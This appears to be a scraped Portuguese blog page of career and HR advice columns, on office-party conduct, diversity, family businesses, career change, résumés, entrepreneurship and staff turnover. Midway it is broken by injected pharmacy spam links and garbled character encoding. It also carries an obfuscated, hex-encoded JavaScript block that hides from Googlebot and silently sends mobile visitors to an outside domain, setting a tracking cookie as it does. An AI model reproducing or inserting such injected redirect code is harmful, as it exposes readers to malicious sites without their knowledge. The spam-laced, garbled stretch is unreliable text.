O Carnaval está chegando, época do ano em que a irreverência e a bebida costumam ser a mistura certa para proporcionar situações inusitadas nos bastidores de qualquer empresa. Entretanto, o profissional precisa tomar cuidado com suas atitudes neste período, principalmente quando a festa em questão envolve pessoas do trabalho ou até mesmo clientes.
Momentos de diversão são saudáveis e positivos, só que algumas pessoas acabam extrapolando na exposição. Mas se mesmo tomando vários cuidados a situação constrangedora acontecer, como o profissional deve lidar com o fato para minimizar os danos? Afinal, provavelmente não vão faltar comentários no ambiente de trabalho sobre a gafe em questão.
A reação indicada nesses casos dependerá muito do ato praticado no evento. Se foi algo leve, a pessoa poderá ser vítima de piadinhas e terá que encarar a ação dos colegas com bom humor, já que deu motivos para isso. Agora, se ela cometeu um vexame mais grave, envolvendo algum cliente, por exemplo, o melhor é se desculpar com os envolvidos assim que possível. Esse contato não deve ser forçado, mas sim feito de acordo com as oportunidades.
Dependendo do acontecido, pode demorar para que o profissional consiga se retratar completamente. Neste meio tempo, é importante ficar ainda mais atento às suas atitudes, mantendo sempre o profissionalismo e cumprindo rigorosamente suas obrigações.
Tanto no âmbito pessoal quanto profissional, ninguém está imune a eventuais tropeços, entretanto, deve-se comemorar com moderação e bom senso. Não podemos esquecer que depois a vida continua e que voltaremos a ver e lidar com pessoas que fazem parte do nosso círculo de trabalho.
Atualmente, os profissionais se sentem mais atraídos por empresas que prezam por valores de não exclusão entre os seus empregados. Saber que as oportunidades são ofertadas independente de condições específicas E um diferencial para a competitividade. Além disso, a organização que valoriza a diversidade cria para si uma imagem positiva, sobretudo para o cliente, uma vez que ele pode se identificar com um dos grupos que não e predominante na sociedade.
Um dos grandes diferenciais das organizações mais competitivas está na valorização dos profissionais por suas competências, não importando a raiva, gênero, orientação sexual ou as diferenças regionais de seus empregados. Para isso, lutar contra preconceitos dentro das empresas e fundamental e exige que o RH fique atento a práticas de discriminação e invista em capacitação dos gestores para a gestão da diversidade. E importante ainda, que a empresa tenha valores e estabelecidas políticas que favoreçam a diversidade.
Observa-se que e pouco efetivo ter um programa de desenvolvimento de equipes, por exemplo, se não houver um trabalho constante de não exclusão. Empresas que limitam as possibilidades de crescimento devido a questões de gênero, orientação sexual, origem cultural ou regional ou necessidades específicas tem como consequência profissionais com baixo rendimento devido Ai?? baixa identificação com a empresa; um empregado que não se sente parte time se engajamentos. Por isso, para que as equipes sejam bem desenvolvidas, o valor da diversidade deve estar bem claro.
Em empresas onde não há o cuidado de abolir práticas de exclusão, a tendencia e que a rotatividade de funcionários seja mais alta, muito embora os empregados não costumem verbalizar isso com clareza no pedido de desligamento. Bons profissionais sempre irão buscar espaço onde são bem aproveitados e onde respeitem suas características, escolhas e origens e isso não pode deixar de ser considerado pelas organizações.
Muitos jovens têm dúvidas se devem trabalhar nos negócios da família. Por um lado, a criação junto à empresa facilita o aprendizado sobre os processos e mostra o quanto o negócio é importante para todos. Por outro, o jovem pode ter sonhos e projetos que não condizem com ocupar um lugar na empresa da família. Para esse impasse, não existe uma fórmula certa. É preciso analisar com cuidado os vários lados envolvidos.
O primeiro passo a ser tomado é identificar a área de interesse, avaliando o que se tem mais afinidade, facilidade e qualificação básica para de trabalhar. Também é importante que o jovem não entre na empresa já assumindo um cargo de alto escalão. Antes disso, ele precisa conhecer todos os detalhes da organização. É importante respeitar as etapas de desenvolvimento profissional. Isso significa trabalhar a sucessão.
Para o jovem, é importante ter uma conversa prévia com os pais e saber quais são as expectativas deles. Afinal, eles trabalharam muito para erguer o negócio. Há situações onde a opção também pode ser trabalhar em outras empresas antes de assumir um cargo no negócio da família, visando adquirir experiência e vivência de mercado.
É possível, no entanto, que o jovem não queira se envolver completamente. Mesmo assim, é preciso deixa-lo ciente de que ele será herdeiro da empresa e que precisa, pelo menos, acompanhar resultados e participar dos conselhos da família, já que aquele é o seu patrimônio. Para isso, uma preparação também é necessária.
Mas caso ele opte por realmente assumir a direção da empresa, é importante deixar claro que a sucessão é um processo que demanda tempo, planejamento e paciência para aprender.
Mudar de carreira nem sempre é uma decisão fácil de ser tomada. Além do medo da instabilidade financeira, muitos acham que já passaram da idade para recomeçar. Nessa hora, sempre vai existir insegurança, por isso é importante avaliar as probabilidades para correr riscos calculados.
A vontade de atuar em outra área não significa que se fez uma escolha errada no passado. Pode ser apenas uma mudança nas prioridades da vida. Porém, o primeiro passo antes de seguir com a decisão é analisar se você realmente quer mudar de carreira ou se está cansado das atividades do dia a dia, da postura do chefe ou decisões da empresa.
Se o desejo de mudar foi ocasionado apenas por algumas insatisfações, a probabilidade de não dar certo é grande, pois você pode encontrar exatamente as mesmas coisas em outra atividade. Depois disso, é hora de analisar se a sua idade é “aceitável” para uma reinserção no mercado de trabalho e se você tem habilidade para atuar na área pretendida. Ser realista é essencial.
Nunca faça esta mudança de maneira drástica. O ideal é ir mudando aos poucos, sem deixar a carreira anterior de uma vez, se for possível. Estude e teste o mercado, faça cursos ou especializações na nova área de atuação, participe de eventos, procure se relacionar com pessoas que trabalham no novo ramo e utilize o networking.
Procurar profissionais para ajudar nessa transição e estudar casos de quem teve sucesso ao mudar de carreira também pode ajudar. E caso a mudança não dê certo, não sinta medo ou culpa em voltar para a antiga área. O importante é correr atrás dos seus sonhos.
Às vezes é preciso discordar
Muitas vezes, somos criados na ilusão de que o ideal é um ambiente é harmonioso, onde desavenças ou discussões não deveriam existir. No entanto, para onde formos, é grande a possibilidade de entrarmos em conflito com outras pessoas. Diante dessa realidade, o que fazer para ter um bom clima organizacional?
Um dos desafios do profissional é colocar suas ideias quando elas forem contrárias aos dos colegas sem que isso gere hostilidade. Para isso, é necessário compreender a cultura da empresa e como ela encara opiniões divergentes. É importante também construir argumentos que mostrem que você quer contribuir para solução de um problema, não só fazer valer a sua fala.
O modo como você se expressa também é fundamental para não criar atritos. A calma na hora da fala é essencial. Demonstre controle quando for expor alguma opinião e, caso seja interrompido, com tranquilidade, diga que ainda não concluiu. Por outro lado, aprenda a ouvir o que o outro tem a dizer – às vezes é algo que você ainda não havia pensado. Se os ânimos se exaltarem durante a conversa, saiba parar. Há momentos em que é preciso recuar para depois voltar ao argumento.
Para a empresa, é interessante manter aberto o espaço de discussões saudáveis. Em grupos de trabalho onde o debate é bem visto, o desempenho de todos é melhor, já que o profissional sente que pode contribuir mais ativamente nas questões da organização.
Evite a prolixidade
http://greasegeeks.com/?p=3095
http://fidia-2010.mhs.narotama.ac.id/2018/02/14/how-much-minocycline-is-too-much/ F http://goted-help.unionecso.gov.it/helponline/buy-paxil-online/ alar muito Ai?? importante quando Ai?? preciso fazer uma declaraAi??A?o longa, explicar um conceito ou criar argumentos detalhados, mas na hora de se inserir no mercado, o profissional precisa saber desenvolver a objetividade.
O currAi??culo Ai?? o primeiro contato do empregador com o candidato e se hA? problemas com esse documento bA?sico, mesmo um bom profissional pode ser desqualificado para uma entrevista. De fato, pode acontecer de um currAi??culo nA?o estar no perfil da vaga, mas muitas vezes o que acontece Ai?? que o profissional nA?o se apresentou como deveria, sem ser claro e expondo muitas informaAi??Ai??es irrelevantes.
Ai?? preciso ter cuidado, tambAi??m, com o e-mail que vai enviar para o recrutador. Principalmente por ser um primeiro contato entre o candidato e a empresa, Ai?? preciso que este e-mail seja curto e objetivo. Opte por colocar as informaAi??Ai??es mais importantes em tA?picos e sempre peAi??a para que outra pessoa leia antes de enviA?-lo, para que ela avalie se o conteA?do estA? claro. Um email confuso e com muita informaAi??A?o irA? desestimular a leitura e causar um efeito negativo para o candidato.
Outra situaAi??A?o que pode acontecer Ai??, muito embora o currAi??culo tenha sido objetivo, na seleAi??A?o o candidato acaba se destacando negativamente ao falar mais do que o necessA?rio, contando sua vida toda. Por isso, ao participar de uma entrevista, principalmente se ela for em grupo, procure dar respostas curtas, sem floreados, sempre focando nas perguntas feitas.
Nesses casos, Ai?? imprescindAi??vel focar no que Ai?? importante para a vaga em questA?o e nas experiA?ncias que podem agregar valor para a empresa que estA? selecionando.
var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
É comum vermos casos de pessoas que são demitidas e, ao investirem o dinheiro da indenização na abertura do próprio negócio, se deparam com uma série de dificuldades. Por isso, é preciso ficar atento, empreender não é tão simples quanto parece e vai exigir alguns cuidados.
O primeiro passo para quem deseja enveredar pelo mundo dos negócios é verificar a viabilidade do empreendimento em questão. É preciso analisar se o produto ou serviço que você vai oferecer atende as necessidades e expectativas do mercado. Além disso, desenvolver o conhecimento sobre a área de negócio e capacitar-se é fundamental. Quando você tem conhecimento sobre o segmento, é mais fácil começar e esse conhecimento “abrir as portas” para o mercado.
Caso as respostas às perguntas acima sejam positivas e você conclua que a ideia é viável, o próximo passo é ordenar a área financeira. Calcular com precisão quanto será necessário para o investimento é fundamental, considerando sempre a possibilidade de que alguns valores possam oscilar e o negócio exija uma maior investimento do que o previsto inicialmente.
Após a verificação da viabilidade do negócio o momento é de estruturar o projeto empresarial: Estabelecer missão e visão claras; definir as ações estratégicas e suas metas para curto, médio e longo prazos; fazer análises de mercado e concorrência; e estabelecer quais serão os padrões de qualidade na relação com os clientes, empregados e parceiros, por exemplo, são pontos essenciais a serem pensados.
O planejamento é uma das partes essenciais do empreendimento, pois, ele permite ter uma visão estratégica e antecipar-se em relação a possíveis turbulências no negócio. Finalizados todos os passos, então, acompanhar periodicamente é fundamental. Um grande equívoco dos gestores é não monitorar os resultados. E saber que todo novo empreendimento exigirá uma grande dedicação para se estabelecer.
Os custos da demissão
Os custos de uma demissão para as empresas podem ir muito além dos gastos com pagamento de direitos trabalhistas. Por isso, ter cuidado neste processo é fundamental para a sobrevivência e a imagem da organização.
Independente das razões de uma demissão serem adequadas ou não, a constante rotatividade de empregados não é bem vista pelo mercado de trabalho e os custos vão além das questões financeiras. É preciso que os gestores tenham em mente alguns efeitos colaterais.
Quando uma organização demite com muita frequência, pode criar certos tipos de comentários como “naquela empresa não para ninguém”. Isso acaba afastando os profissionais mais qualificados, já que eles podem passar a enxergar a corporação como um ambiente instável.
Outro custo a ser levado em conta é o da formação da equipe, para desenvolver bem suas demandas. Demissões constantes prejudicam essa estabilidade, uma vez que vai existir sempre um profissional novo aprendendo os mesmos processos. A alta rotatividade tira a chance de a organização criar um grupo de trabalho bem alinhado, o que, por sua vez, diminui as chances de evolução e melhoria dos serviços prestados.
Então, como evitar demissões desnecessárias? Um dos caminhos é, antes de tudo, fazer uma seleção rigorosa para conhecer ao máximo o possível contratado antes dele ser efetivado. Também é importante deixar claro para o profissional, assim que ele entrar na empresa, o que se espera do trabalho dele.
Por fim e muito mais importante, é preciso manter um processo de acompanhamento constante durante o período de experiência do contratado. Avaliar, antes de terminar o prazo de três meses, se ele está atendendo às expectativas. Caso não esteja, a demissão deve ser considerada antes de findados os 90 dias, evitando custos maiores para a empresa.
Essas medidas, embora importantes, muitas vezes são “esquecidas” e trarão prejuízos financeiros, de tempo e de desempenho. Portanto, atenção a esses pontos!
É comum ver gestores se queixando de que a equipe não está rendendo, que não entrega projetos no prazo ou que não tem compromisso. Mas, antes de se queixar, será que não vale a pena fazer uma autorreflexão sobre o investimento que vem fazendo do desenvolvimento da equipe?
Entre todas as demandas do dia, o gestor pode acabar esquecendo que uma das suas principais tarefas como líder é, justamente, orientar quem está sob sua direção, separando uma parte do seu tempo para acompanhar e corrigir a equipe. Quando não há orientação, abre-se espaço para uma séria de dúvidas e informações mal esclarecidas, o que, invariavelmente, vai levar às falhas.
Um dos cuidados que o gestor deve ter, então, é manter a porta aberta para perguntas. Estar disposto a ouvir com atenção, ponderar e colocar-se no lugar do outro fará com que o profissional se sinta acolhido. Mesmo que os questionamentos que ele tem pareçam óbvios, é importante lembrar que o óbvio para o gestor pode não ser o óbvio para a equipe.
Outro cuidado que pode partir do líder a monitoração sistemática. É fundamental que a pessoa que está coordenando outras, acompanhe o que está sendo realizado de perto, procurando saber se a equipe está entendendo a demanda e os processos e corrigindo rumos a tempo.
Dar feedback constante também é importante, pois situa o profissional sobre o seu desempenho e faz com que a equipe saiba se está no caminho certo, além de motiva-la a continuar com o bom trabalho.
Além disso, o líder que deseja ter suas orientações seguidas é aquele que participa do trabalho, assim como os profissionais. Entender o que está sendo executado é uma forma de transmitir confiança e dar referencial a equipe, mostrando que não apenas “joga” o trabalho em cima deles.
Da parte do profissional, perguntar sempre que tiver dúvidas, esclarecer prazos e resultados esperados e cuidar do padrão de qualidade do que produz é fundamental. Uma postura proativa frente ao seu desempenho é tão importante quanto a orientação adequada do trabalho.
A alta rotatividade de profissionais nas empresas é um problema crescente nos últimos anos. O “entra e sai” prejudica o desempenho das equipes, que sempre precisam recomeçar o processo e ensiná-lo aos novos colegas, mas também gera custos elevados com as despesas da demissão. Cabe, então, às empresas tomarem medidas que previnam essa situação.
O primeiro passo é analisar a causa do problema. Um dos processos fundamentais começa no cuidado na hora da seleção. Um processo seletivo criterioso permite encontrar um candidato que seja adequado ao cargo e que o cargo seja é o que ele espera – o que evitará surpresas do tipo: se eu soubesse que era para fazer essas atividades, não teria aceitado a proposta de trabalho.
Uma vez admitido, é preciso que ele seja integrado à equipe e apresentado aos valores, normas e processos da empresa, para que conheça desde cedo como se portar. Por outro lado, o profissional também pode aderir a alguns comportamentos que facilitem sua inclusão no novo ambiente de trabalho, de forma a se sentir parte da equipe.
Perguntar o que não sabe, por exemplo, é uma atitude que demonstra seu desejo de aprender e fazer certo, o que é sempre bem visto e facilitador no processo de construção de vínculos. Ele pode ainda definir com gestor em que projetos irá trabalhar no seu período de experiência e quais são as expectativas e resultados esperados, pedindo sempre feedbacks parciais. Portanto, evitar a rotatividade é responsabilidade tanto da empresa quanto do profissional.
